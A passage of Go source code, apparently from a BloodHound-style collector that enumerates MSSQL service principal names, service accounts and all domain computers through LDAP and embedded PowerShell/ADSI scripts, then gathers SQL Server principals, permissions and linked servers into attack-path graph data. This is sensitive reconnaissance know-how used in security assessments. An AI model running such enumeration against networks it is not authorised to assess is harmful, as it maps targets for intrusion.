c.serversToProcess = append(c.serversToProcess, server) +} + +// buildServerList builds the list of servers to process +func (c *Collector) buildServerList() error { + // From command line argument + if c.config.ServerInstance != "" { + server := c.parseServerString(c.config.ServerInstance) + c.tryResolveSID(server) + c.addServerToProcess(server) + c.logVerbose("Added server from command line: %s", c.config.ServerInstance) + } + + // From comma-separated list + if c.config.ServerList != "" { + c.logVerbose("Processing comma-separated server list") + servers := strings.Split(c.config.ServerList, ",") + count := 0 + for _, s := range servers { + s = strings.TrimSpace(s) + if s != "" { + server := c.parseServerString(s) + c.tryResolveSID(server) + c.addServerToProcess(server) + count++ + } + } + c.logVerbose("Added %d servers from list", count) + } + + // From file + if c.config.ServerListFile != "" { + c.logVerbose("Processing server list file: %s", c.config.ServerListFile) + data, err := os.ReadFile(c.config.ServerListFile) + if err != nil { + return fmt.Errorf("failed to read server list file: %w", err) + } + lines := strings.Split(string(data), "\n") + count := 0 + for _, line := range lines { + line = strings.TrimSpace(line) + if line != "" && !strings.HasPrefix(line, "#") { + server := c.parseServerString(line) + c.tryResolveSID(server) + c.addServerToProcess(server) + count++ + } + } + c.logVerbose("Added %d servers from file", count) + } + + // Auto-detect domain if not provided and we have servers + if c.config.Domain == "" && len(c.serversToProcess) > 0 { + // Try to extract domain from server FQDNs first + for _, server := range c.serversToProcess { + if strings.Contains(server.Hostname, ".") { + parts := strings.SplitN(server.Hostname, ".", 2) + if len(parts) == 2 && parts[1] != "" { + c.config.Domain = strings.ToUpper(parts[1]) + c.logVerbose("Auto-detected domain from server FQDN: %s", c.config.Domain) + break + } + } + } + // Fallback to environment variables + if c.config.Domain == "" { + c.config.Domain = c.detectDomain() + } + } + + // If no servers specified, enumerate SPNs from Active Directory + if len(c.serversToProcess) == 0 { + // Auto-detect domain if not provided + domain := c.config.Domain + if domain == "" { + domain = c.detectDomain() + } + + if domain != "" { + // Update config.Domain so it's available for later resolution + c.config.Domain = domain + fmt.Printf("No servers specified, enumerating MSSQL SPNs from Active Directory (domain: %s)...\n", domain) + if err := c.enumerateServersFromAD(); err != nil { + fmt.Printf("Warning: SPN enumeration failed: %v\n", err) + fmt.Println("Hint: If LDAP authentication fails, you can:") + fmt.Println(" 1. Use --server, --server-list, or --server-list-file to specify servers manually") + fmt.Println(" 2. Use --ldap-user and --ldap-password to provide explicit credentials") + fmt.Println(" 3. Use the PowerShell version to enumerate SPNs, then provide the list to the Go version") + } + } else { + fmt.Println("No servers specified and could not detect domain. Use --domain to specify a domain or --server to specify a server.") + } + } + + return nil +} + +// tryResolveSID attempts to resolve the computer SID for a server +func (c *Collector) tryResolveSID(server *ServerToProcess) { + if c.config.Domain == "" { + return + } + + // Try Windows API first + if runtime.GOOS == "windows" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain) + if err == nil && sid != "" { + server.ComputerSID = sid + return + } + } + + // Try LDAP + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + defer adClient.Close() + + sid, err := adClient.ResolveComputerSID(server.Hostname) + if err == nil && sid != "" { + server.ComputerSID = sid + } +} + +// detectDomain attempts to auto-detect the domain from environment variables or system configuration. +// Returns the domain name in UPPERCASE to match BloodHound conventions. +func (c *Collector) detectDomain() string { + // Try USERDNSDOMAIN environment variable (Windows domain-joined machines) + if domain := os.Getenv("USERDNSDOMAIN"); domain != "" { + domain = strings.ToUpper(domain) + c.logVerbose("Detected domain from USERDNSDOMAIN: %s", domain) + return domain + } + + // Try USERDOMAIN environment variable as fallback + if domain := os.Getenv("USERDOMAIN"); domain != "" { + domain = strings.ToUpper(domain) + c.logVerbose("Detected domain from USERDOMAIN: %s", domain) + return domain + } + + // On Linux/Unix, try to get domain from /etc/resolv.conf or similar + if runtime.GOOS != "windows" { + if data, err := os.ReadFile("/etc/resolv.conf"); err == nil { + lines := strings.Split(string(data), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "search ") { + parts := strings.Fields(line) + if len(parts) > 1 { + domain := strings.ToUpper(parts[1]) + c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain) + return domain + } + } + if strings.HasPrefix(line, "domain ") { + parts := strings.Fields(line) + if len(parts) > 1 { + domain := strings.ToUpper(parts[1]) + c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain) + return domain + } + } + } + } + } + + return "" +} + +// enumerateServersFromAD discovers MSSQL servers from Active Directory SPNs +func (c *Collector) enumerateServersFromAD() error { + // First try native Go LDAP + c.logVerbose("Connecting to LDAP: DC=%s, Domain=%s, User=%s, DNSResolver=%s", + c.config.DomainController, c.config.Domain, c.config.LDAPUser, c.getDNSResolver()) + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + + spns, err := adClient.EnumerateMSSQLSPNs() + adClient.Close() + + // If LDAP failed on Windows, try using PowerShell/ADSI as fallback + if err != nil && runtime.GOOS == "windows" { + c.logVerbose("LDAP enumeration failed, trying PowerShell/ADSI fallback...") + spns, err = c.enumerateSPNsViaPowerShell() + } + + if err != nil { + // If ScanAllComputers is enabled, don't bail out — we can still enumerate computers + if c.config.ScanAllComputers { + fmt.Printf("Warning: SPN enumeration failed (%v), but --scan-all-computers is enabled so continuing with computer enumeration...\n", err) + } else { + return fmt.Errorf("failed to enumerate MSSQL SPNs: %w", err) + } + } + + if spns != nil { + fmt.Printf("Found %d MSSQL SPNs\n", len(spns)) + } + + for _, spn := range spns { + // Create ServerToProcess from SPN + server := &ServerToProcess{ + Hostname: spn.Hostname, + Port: 1433, // Default + } + + // Parse port or instance from SPN + if spn.Port != "" { + if port, err := strconv.Atoi(spn.Port); err == nil { + server.Port = port + } + server.ConnectionString = fmt.Sprintf("%s:%s", spn.Hostname, spn.Port) + } else if spn.InstanceName != "" { + server.InstanceName = spn.InstanceName + server.ConnectionString = fmt.Sprintf("%s\\%s", spn.Hostname, spn.InstanceName) + } else { + server.ConnectionString = spn.Hostname + } + + // Try to resolve computer SID early + c.tryResolveSID(server) + + // Build ObjectIdentifier and add to processing list (handles deduplication) + c.addServerToProcess(server) + + // Track SPN data by ObjectIdentifier for later use + c.serverSPNDataMu.Lock() + spnInfo, exists := c.serverSPNData[server.ObjectIdentifier] + if !exists { + spnInfo = &ServerSPNInfo{ + SPNs: []string{}, + AccountName: spn.AccountName, + AccountSID: spn.AccountSID, + } + c.serverSPNData[server.ObjectIdentifier] = spnInfo + } + c.serverSPNDataMu.Unlock() + + // Build full SPN string and add it + fullSPN := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname) + if spn.Port != "" { + fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.Port) + } else if spn.InstanceName != "" { + fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.InstanceName) + } + spnInfo.SPNs = append(spnInfo.SPNs, fullSPN) + + fmt.Printf(" Found: %s (ObjectID: %s, service account: %s)\n", server.ConnectionString, server.ObjectIdentifier, spn.AccountName) + } + + // If ScanAllComputers is enabled, also enumerate all domain computers + if c.config.ScanAllComputers { + fmt.Println("ScanAllComputers enabled, enumerating all domain computers...") + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + defer adClient.Close() + + fmt.Println(" Querying AD for all computer objects (this may take a moment)...") + computers, err := adClient.EnumerateAllComputers() + if err != nil && runtime.GOOS == "windows" { + // Try PowerShell fallback on Windows + fmt.Printf("LDAP enumeration failed (%v), trying PowerShell fallback...\n", err) + computers, err = c.enumerateComputersViaPowerShell() + } + if err != nil { + fmt.Printf("Warning: failed to enumerate domain computers: %v\n", err) + } else { + fmt.Printf(" Found %d computer objects in AD\n", len(computers)) + added := 0 + for i, computer := range computers { + if (i+1)%100 == 0 || i+1 == len(computers) { + fmt.Printf(" Processing computer %d/%d (added so far: %d)...\n", i+1, len(computers), added) + } + server := c.parseServerString(computer) + // Skip per-server SID resolution here — too slow for large domains. + // SIDs will be resolved lazily during collection. + oldLen := len(c.serversToProcess) + c.addServerToProcess(server) + if len(c.serversToProcess) > oldLen { + added++ + } + } + fmt.Printf("Added %d additional computers to scan\n", added) + } + } + + fmt.Printf("\nUnique servers to process: %d\n", len(c.serversToProcess)) + return nil +} + +// enumerateSPNsViaPowerShell uses PowerShell/ADSI to enumerate MSSQL SPNs (Windows fallback) +func (c *Collector) enumerateSPNsViaPowerShell() ([]types.SPN, error) { + fmt.Println("Using PowerShell/ADSI fallback for SPN enumeration...") + + // PowerShell script to enumerate MSSQL SPNs using ADSI + script := ` +$searcher = [adsisearcher]"(servicePrincipalName=MSSQLSvc/*)" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value + $samName = $result.Properties['samaccountname'][0] + foreach ($spn in $result.Properties['serviceprincipalname']) { + if ($spn -like 'MSSQLSvc/*') { + Write-Output "$spn|$samName|$sid" + } + } +} +` + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell SPN enumeration failed: %w", err) + } + + var spns []types.SPN + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + parts := strings.Split(line, "|") + if len(parts) < 3 { + continue + } + + spnStr := parts[0] + accountName := parts[1] + accountSID := parts[2] + + // Parse SPN: MSSQLSvc/hostname:port or MSSQLSvc/hostname:instancename + spn := c.parseSPN(spnStr, accountName, accountSID) + if spn != nil { + spns = append(spns, *spn) + } + } + + return spns, nil +} + +// enumerateComputersViaPowerShell uses PowerShell/ADSI to enumerate all domain computers (Windows fallback) +func (c *Collector) enumerateComputersViaPowerShell() ([]string, error) { + fmt.Println("Using PowerShell/ADSI fallback for computer enumeration...") + + // PowerShell script to enumerate all domain computers using ADSI + script := ` +$searcher = [adsisearcher]"(&(objectCategory=computer)(objectClass=computer))" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $dns = $result.Properties['dnshostname'] + $name = $result.Properties['name'] + if ($dns -and $dns[0]) { + Write-Output $dns[0] + } elseif ($name -and $name[0]) { + Write-Output $name[0] + } +} +` + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell computer enumeration failed: %w", err) + } + + var computers []string + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line != "" { + computers = append(computers, line) + } + } + + fmt.Printf("PowerShell enumerated %d computers\n", len(computers)) + return computers, nil +} + +// parseSPN parses an SPN string into an SPN struct +func (c *Collector) parseSPN(spnStr, accountName, accountSID string) *types.SPN { + // Format: MSSQLSvc/hostname:portOrInstance + if !strings.HasPrefix(strings.ToUpper(spnStr), "MSSQLSVC/") { + return nil + } + + remainder := spnStr[9:] // Remove "MSSQLSvc/" + parts := strings.SplitN(remainder, ":", 2) + hostname := parts[0] + + var port, instanceName string + if len(parts) > 1 { + portOrInstance := parts[1] + // Check if it's a port number + if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil { + port = portOrInstance + } else { + instanceName = portOrInstance + } + } + + return &types.SPN{ + Hostname: hostname, + Port: port, + InstanceName: instanceName, + AccountName: accountName, + AccountSID: accountSID, + } +} + +// processServer collects data from a single SQL Server +func (c *Collector) processServer(server *ServerToProcess) error { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + + // Check if we have SPN data for this server (keyed by ObjectIdentifier) + c.serverSPNDataMu.RLock() + spnInfo := c.serverSPNData[server.ObjectIdentifier] + c.serverSPNDataMu.RUnlock() + + // Connect to the server + client := mssql.NewClient(server.ConnectionString, c.config.UserID, c.config.Password) + client.SetDomain(c.config.Domain) + client.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword) + client.SetVerbose(c.config.Verbose) + client.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers) + if err := client.Connect(ctx); err != nil { + // If hostname doesn't have a domain but we have one from linked server discovery, try FQDN + if server.Domain != "" && !strings.Contains(server.Hostname, ".") { + fqdnHostname := server.Hostname + "." + server.Domain + c.logVerbose("Connection failed, trying FQDN: %s", fqdnHostname) + + // Build FQDN connection string + fqdnConnStr := fqdnHostname + if server.Port != 0 && server.Port != 1433 { + fqdnConnStr = fmt.Sprintf("%s:%d", fqdnHostname, server.Port) + } else if server.InstanceName != "" { + fqdnConnStr = fmt.Sprintf("%s\\%s", fqdnHostname, server.InstanceName) + } + + fqdnClient := mssql.NewClient(fqdnConnStr, c.config.UserID, c.config.Password) + fqdnClient.SetDomain(c.config.Domain) + fqdnClient.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword) + fqdnClient.SetVerbose(c.config.Verbose) + fqdnClient.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers) + fqdnErr := fqdnClient.Connect(ctx) + if fqdnErr == nil { + // FQDN connection succeeded - update server info and continue + fmt.Printf(" Connected using FQDN: %s\n", fqdnHostname) + server.Hostname = fqdnHostname + server.ConnectionString = fqdnConnStr + client = fqdnClient + // Fall through to continue with collection + goto connected + } + fqdnClient.Close() + c.logVerbose("FQDN connection also failed: %v", fqdnErr) + } + + // Connection failed - check if we have SPN data to create partial output + if spnInfo != nil { + fmt.Printf(" Connection failed but server has SPN - creating nodes/edges from SPN data\n") + return c.processServerFromSPNData(server, spnInfo, err) + } + + // No SPN data available - try to look up SPNs from AD for this server + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" Connection failed - looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, err) + } + + // No SPN data - skip this server + return fmt.Errorf("connection failed and no SPN data available: %w", err) + } + +connected: + defer client.Close() + + c.logVerbose("Successfully connected to %s", server.ConnectionString) + + // Collect server information + serverInfo, err := client.CollectServerInfo(ctx) + if err != nil { + // Collection failed after connection - try partial output if we have SPN data + if spnInfo != nil { + fmt.Printf(" Collection failed but server has SPN - creating nodes/edges from SPN data\n") + return c.processServerFromSPNData(server, spnInfo, err) + } + + // Try AD lookup for SPN data + spnInfo = c.lookupSPNsForServer(server) + if spnInfo != nil { + fmt.Printf(" Collection failed - looked up SPN from AD, creating partial output\n") + return c.processServerFromSPNData(server, spnInfo, err) + } + + return fmt.Errorf("collection failed: %w", err) + } + + // Merge SPN data if available + if spnInfo != nil { + if len(serverInfo.SPNs) == 0 { + serverInfo.SPNs = spnInfo.SPNs + } + // Add service account from SPN if not already present + if len(serverInfo.ServiceAccounts) == 0 && spnInfo.AccountName != "" { + serverInfo.ServiceAccounts = append(serverInfo.ServiceAccounts, types.ServiceAccount{ + Name: spnInfo.AccountName, + SID: spnInfo.AccountSID, + ObjectIdentifier: spnInfo.AccountSID, + }) + } + } + + // If we couldn't get the computer SID from SQL Server, try other methods + // The resolution function will extract domain from FQDN if not provided + if serverInfo.ComputerSID == "" { + c.resolveComputerSIDViaLDAP(serverInfo) + } + + // Convert built-in service accounts (LocalSystem, Local Service, Network Service) + // to the computer account, as they authenticate on the network as the computer + c.preprocessServiceAccounts(serverInfo) + + // Resolve service account SIDs via LDAP if they don't have SIDs + c.resolveServiceAccountSIDsViaLDAP(serverInfo) + + // Resolve credential identity SIDs via LDAP for credential edges + c.resolveCredentialSIDsViaLDAP(serverInfo) + + // Enumerate local Windows groups that have SQL logins and their domain members + c.enumerateLocalGroupMembers(serverInfo) + + // Check CVE-2025-49758 patch status + c.logCVE202549758Status(serverInfo) + + // Process discovered linked servers + c.processLinkedServers(serverInfo, server) + + fmt.Printf("Collected: %d principals, %d databases\n", + len(serverInfo.ServerPrincipals), len(serverInfo.Databases)) + + // Generate output filename using PowerShell naming convention + outputFile := filepath.Join(c.tempDir, c.generateFilename(server)) + + if err := c.generateOutput(serverInfo, outputFile); err != nil { + return fmt.Errorf("output generation failed: %w", err) + } + + c.addOutputFile(outputFile) + fmt.Printf("Output: %s\n", outputFile) + + return nil +} + +// processServerFromSPNData creates partial output when connection fails but SPN data exists +func (c *Collector) processServerFromSPNData(server *ServerToProcess, spnInfo *ServerSPNInfo, connErr error) error { + // Try to resolve the FQDN + fqdn := server.Hostname + if !strings.Contains(server.Hostname, ".") && c.config.Domain != "" { + fqdn = fmt.Sprintf("%s.%s", server.Hostname, strings.ToLower(c.config.Domain)) + } + + // Try to resolve computer SID if not already resolved + computerSID := server.ComputerSID + if computerSID == "" && c.config.Domain != "" { + if runtime.GOOS == "windows" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain) + if err == nil && sid != "" { + computerSID = sid + server.ComputerSID = sid + } + } + } + + // Use ObjectIdentifier from server, or build it if needed + objectIdentifier := server.ObjectIdentifier + if objectIdentifier == "" { + if computerSID != "" { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + objectIdentifier = fmt.Sprintf("%s:%s", computerSID, server.InstanceName) + } else { + objectIdentifier = fmt.Sprintf("%s:%d", computerSID, server.Port) + } + } else { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + objectIdentifier = fmt.Sprintf("%s:%s", strings.ToLower(fqdn), server.InstanceName) + } else { + objectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(fqdn), server.Port) + } + } + } + + // Create minimal server info from SPN data + // NOTE: We intentionally do NOT add ServiceAccounts here to match PowerShell behavior. + // PS stores ServiceAccountSIDs from SPN but uses ServiceAccounts (from SQL query) for edge creation. + // For failed connections, ServiceAccounts is empty, so no service account edges are created. + serverInfo := &types.ServerInfo{ + ObjectIdentifier: objectIdentifier, + Hostname: server.Hostname, + ServerName: server.ConnectionString, + SQLServerName: server.ConnectionString, + InstanceName: server.InstanceName, + Port: server.Port, + FQDN: fqdn, + ComputerSID: computerSID, + SPNs: spnInfo.SPNs, + // ServiceAccounts intentionally left empty to match PS behavior + } + + // Check CVE-2025-49758 patch status (will show version unknown for SPN-only data) + c.logCVE202549758Status(serverInfo) + + fmt.Printf("Created partial output from SPN data (connection error: %v)\n", connErr) + + // Generate output using the consistent filename generation + outputFile := filepath.Join(c.tempDir, c.generateFilename(server)) + + if err := c.generateOutput(serverInfo, outputFile); err != nil { + return fmt.Errorf("output generation failed: %w", err) + } + + c.addOutputFile(outputFile) + fmt.Printf("Output: %s\n", outputFile) + + return nil +} + +// lookupSPNsForServer queries AD for SPNs for a specific server hostname +// This is used as a fallback when we don't have pre-enumerated SPN data +func (c *Collector) lookupSPNsForServer(server *ServerToProcess) *ServerSPNInfo { + // Need a domain to query AD + domain := c.config.Domain + if domain == "" { + // Try to extract domain from hostname FQDN + if strings.Contains(server.Hostname, ".") { + parts := strings.SplitN(server.Hostname, ".", 2) + if len(parts) > 1 { + domain = parts[1] + } + } + } + // Use domain from linked server discovery if available + if domain == "" && server.Domain != "" { + domain = server.Domain + c.logVerbose("Using domain from linked server discovery: %s", domain) + } + + if domain == "" { + fmt.Println(" Cannot lookup SPN - no domain available") + return nil + } + + fmt.Printf(" Looking up SPNs for %s in AD (domain: %s)\n", server.Hostname, domain) + + // Try native LDAP first + adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + spns, err := adClient.LookupMSSQLSPNsForHost(server.Hostname) + adClient.Close() + + // If LDAP failed on Windows, try PowerShell/ADSI + if err != nil && runtime.GOOS == "windows" { + fmt.Println(" LDAP lookup failed, trying PowerShell/ADSI fallback...") + spns, err = c.lookupSPNsViaPowerShell(server.Hostname) + } + + if err != nil { + fmt.Printf(" AD SPN lookup failed: %v\n", err) + return nil + } + + if len(spns) == 0 { + fmt.Printf(" No SPNs found in AD for %s\n", server.Hostname) + return nil + } + + fmt.Printf(" Found %d SPNs in AD for %s\n", len(spns), server.Hostname) + + // Build ServerSPNInfo from the SPNs + spnInfo := &ServerSPNInfo{ + SPNs: []string{}, + } + + for _, spn := range spns { + // Build SPN string + spnStr := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname) + if spn.Port != "" { + spnStr += ":" + spn.Port + } else if spn.InstanceName != "" { + spnStr += ":" + spn.InstanceName + } + spnInfo.SPNs = append(spnInfo.SPNs, spnStr) + + // Use the first account info we find + if spnInfo.AccountName == "" { + spnInfo.AccountName = spn.AccountName + spnInfo.AccountSID = spn.AccountSID + } + } + + // Also resolve computer SID if we don't have it + if server.ComputerSID == "" { + sid, err := ad.ResolveComputerSIDWindows(server.Hostname, domain) + if err == nil && sid != "" { + server.ComputerSID = sid + // Rebuild ObjectIdentifier with the new SID + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", sid, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, server.Port) + } + } + } + + // Store in cache for future use + c.serverSPNDataMu.Lock() + c.serverSPNData[server.ObjectIdentifier] = spnInfo + c.serverSPNDataMu.Unlock() + + return spnInfo +} + +// lookupSPNsViaPowerShell uses PowerShell/ADSI to look up SPNs for a specific hostname +func (c *Collector) lookupSPNsViaPowerShell(hostname string) ([]types.SPN, error) { + // Extract short hostname for matching + shortHost := hostname + if idx := strings.Index(hostname, "."); idx > 0 { + shortHost = hostname[:idx] + } + + // PowerShell script to look up SPNs for a specific hostname + script := fmt.Sprintf(` +$shortHost = '%s' +$fqdn = '%s' +$searcher = [adsisearcher]"(|(servicePrincipalName=MSSQLSvc/$shortHost*)(servicePrincipalName=MSSQLSvc/$fqdn*))" +$searcher.PageSize = 1000 +$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid')) +$results = $searcher.FindAll() +foreach ($result in $results) { + $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value + $samName = $result.Properties['samaccountname'][0] + foreach ($spn in $result.Properties['serviceprincipalname']) { + if ($spn -like 'MSSQLSvc/*') { + # Filter to only matching hostnames + $spnHost = (($spn -split '/')[1] -split ':')[0] + if ($spnHost -ieq $shortHost -or $spnHost -ieq $fqdn -or $spnHost -like "$shortHost.*") { + Write-Output "$spn|$samName|$sid" + } + } + } +} +`, shortHost, hostname) + + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("PowerShell SPN lookup failed: %w", err) + } + + var spns []types.SPN + lines := strings.Split(string(output), "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + parts := strings.Split(line, "|") + if len(parts) < 3 { + continue + } + + spnStr := parts[0] + accountName := parts[1] + accountSID := parts[2] + + spn := c.parseSPN(spnStr, accountName, accountSID) + if spn != nil { + spns = append(spns, *spn) + } + } + + return spns, nil +} + +// parseServerInstance parses a server instance string into hostname, port, and instance name +func (c *Collector) parseServerInstance(serverInstance string) (hostname, port, instanceName string) { + // Handle formats: hostname, hostname:port, hostname\instance, hostname,port + if strings.Contains(serverInstance, "\\") { + parts := strings.SplitN(serverInstance, "\\", 2) + hostname = parts[0] + if len(parts) > 1 { + instanceName = parts[1] + } + } else if strings.Contains(serverInstance, ":") { + parts := strings.SplitN(serverInstance, ":", 2) + hostname = parts[0] + if len(parts) > 1 { + port = parts[1] + } + } else if strings.Contains(serverInstance, ",") { + parts := strings.SplitN(serverInstance, ",", 2) + hostname = parts[0] + if len(parts) > 1 { + port = parts[1] + } + } else { + hostname = serverInstance + } + return +} + +// resolveComputerSIDViaLDAP attempts to resolve the computer SID via multiple methods +func (c *Collector) resolveComputerSIDViaLDAP(serverInfo *types.ServerInfo) { + // Try to determine the domain from the FQDN if not provided + domain := c.config.Domain + if domain == "" && strings.Contains(serverInfo.FQDN, ".") { + // Extract domain from FQDN (e.g., server.domain.com -> domain.com) + parts := strings.SplitN(serverInfo.FQDN, ".", 2) + if len(parts) > 1 { + domain = parts[1] + } + } + + // Use the machine name (without the FQDN) + machineName := serverInfo.Hostname + if strings.Contains(machineName, ".") { + machineName = strings.Split(machineName, ".")[0] + } + + c.logVerbose("Attempting to resolve computer SID for: %s (domain: %s)", machineName, domain) + + // Method 1: Try Windows API (LookupAccountName) - most reliable on Windows + c.logVerbose(" Method 1: Windows API LookupAccountName") + sid, err := ad.ResolveComputerSIDWindows(machineName, domain) + if err == nil && sid != "" { + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via Windows API: %s", sid) + return + } + c.logVerbose(" Windows API method failed: %v", err) + + // Method 2: If we have a domain SID from SQL Server, try Windows API with that context + if serverInfo.DomainSID != "" { + c.logVerbose(" Method 2: Windows API with domain SID context") + sid, err := ad.ResolveComputerSIDByDomainSID(machineName, serverInfo.DomainSID, domain) + if err == nil && sid != "" { + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via Windows API (domain context): %s", sid) + return + } + c.logVerbose(" Windows API with domain context failed: %v", err) + } + + // Method 3: Try LDAP + if domain == "" { + c.logVerbose(" Cannot try LDAP: no domain specified (use -d flag)") + fmt.Printf(" Note: Could not resolve computer SID (no domain specified)\n") + return + } + + c.logVerbose(" Method 3: LDAP query") + + // Create AD client + adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + defer adClient.Close() + + sid, err = adClient.ResolveComputerSID(machineName) + if err != nil { + fmt.Printf(" Note: Could not resolve computer SID via LDAP: %v\n", err) + return + } + + c.applyComputerSID(serverInfo, sid) + c.logVerbose(" Resolved computer SID via LDAP: %s", sid) +} + +// applyComputerSID applies the resolved computer SID to the server info and updates all references +func (c *Collector) applyComputerSID(serverInfo *types.ServerInfo, sid string) { + // Store the old ObjectIdentifier to update references + oldObjectIdentifier := serverInfo.ObjectIdentifier + + serverInfo.ComputerSID = sid + serverInfo.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, serverInfo.Port) + fmt.Printf(" Resolved computer SID: %s\n", sid) + + // Update all ObjectIdentifiers that reference the old server identifier + c.updateObjectIdentifiers(serverInfo, oldObjectIdentifier) +} + +// updateObjectIdentifiers updates all ObjectIdentifiers after computer SID is resolved +func (c *Collector) updateObjectIdentifiers(serverInfo *types.ServerInfo, oldServerID string) { + newServerID := serverInfo.ObjectIdentifier + + // Update server principals + for i := range serverInfo.ServerPrincipals { + p := &serverInfo.ServerPrincipals[i] + // Update ObjectIdentifier: Name@OldServerID -> Name@NewServerID + p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + // Update OwningObjectIdentifier if it references the server + if p.OwningObjectIdentifier != "" { + p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update MemberOf role references: Role@OldServerID -> Role@NewServerID + for j := range p.MemberOf { + p.MemberOf[j].ObjectIdentifier = strings.Replace(p.MemberOf[j].ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update Permissions target references + for j := range p.Permissions { + if p.Permissions[j].TargetObjectIdentifier != "" { + p.Permissions[j].TargetObjectIdentifier = strings.Replace(p.Permissions[j].TargetObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + } + } + + // Update databases and database principals + for i := range serverInfo.Databases { + db := &serverInfo.Databases[i] + // Update database ObjectIdentifier: OldServerID\DBName -> NewServerID\DBName + db.ObjectIdentifier = strings.Replace(db.ObjectIdentifier, oldServerID+"\\", newServerID+"\\", 1) + + // Update database owner ObjectIdentifier: Name@OldServerID -> Name@NewServerID + if db.OwnerObjectIdentifier != "" { + db.OwnerObjectIdentifier = strings.Replace(db.OwnerObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + + // Update database principals + for j := range db.DatabasePrincipals { + p := &db.DatabasePrincipals[j] + // Update ObjectIdentifier: Name@OldServerID\DBName -> Name@NewServerID\DBName + p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + // Update OwningObjectIdentifier + if p.OwningObjectIdentifier != "" { + p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + // Update ServerLogin.ObjectIdentifier + if p.ServerLogin != nil && p.ServerLogin.ObjectIdentifier != "" { + p.ServerLogin.ObjectIdentifier = strings.Replace(p.ServerLogin.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1) + } + // Update MemberOf role references: Role@OldServerID\DBName -> Role@NewServerID\DBName + for k := range p.MemberOf { + p.MemberOf[k].ObjectIdentifier = strings.Replace(p.MemberOf[k].ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + // Update Permissions target references + for k := range p.Permissions { + if p.Permissions[k].TargetObjectIdentifier != "" { + p.Permissions[k].TargetObjectIdentifier = strings.Replace(p.Permissions[k].TargetObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1) + } + } + } + } +} + +// preprocessServiceAccounts converts built-in service accounts to computer account +// When SQL Server runs as LocalSystem, Local Service, or Network Service, +// it authenticates on the network as the computer account +func (c *Collector) preprocessServiceAccounts(serverInfo *types.ServerInfo) { + seenSIDs := make(map[string]bool) + var uniqueServiceAccounts []types.ServiceAccount + + for i := range 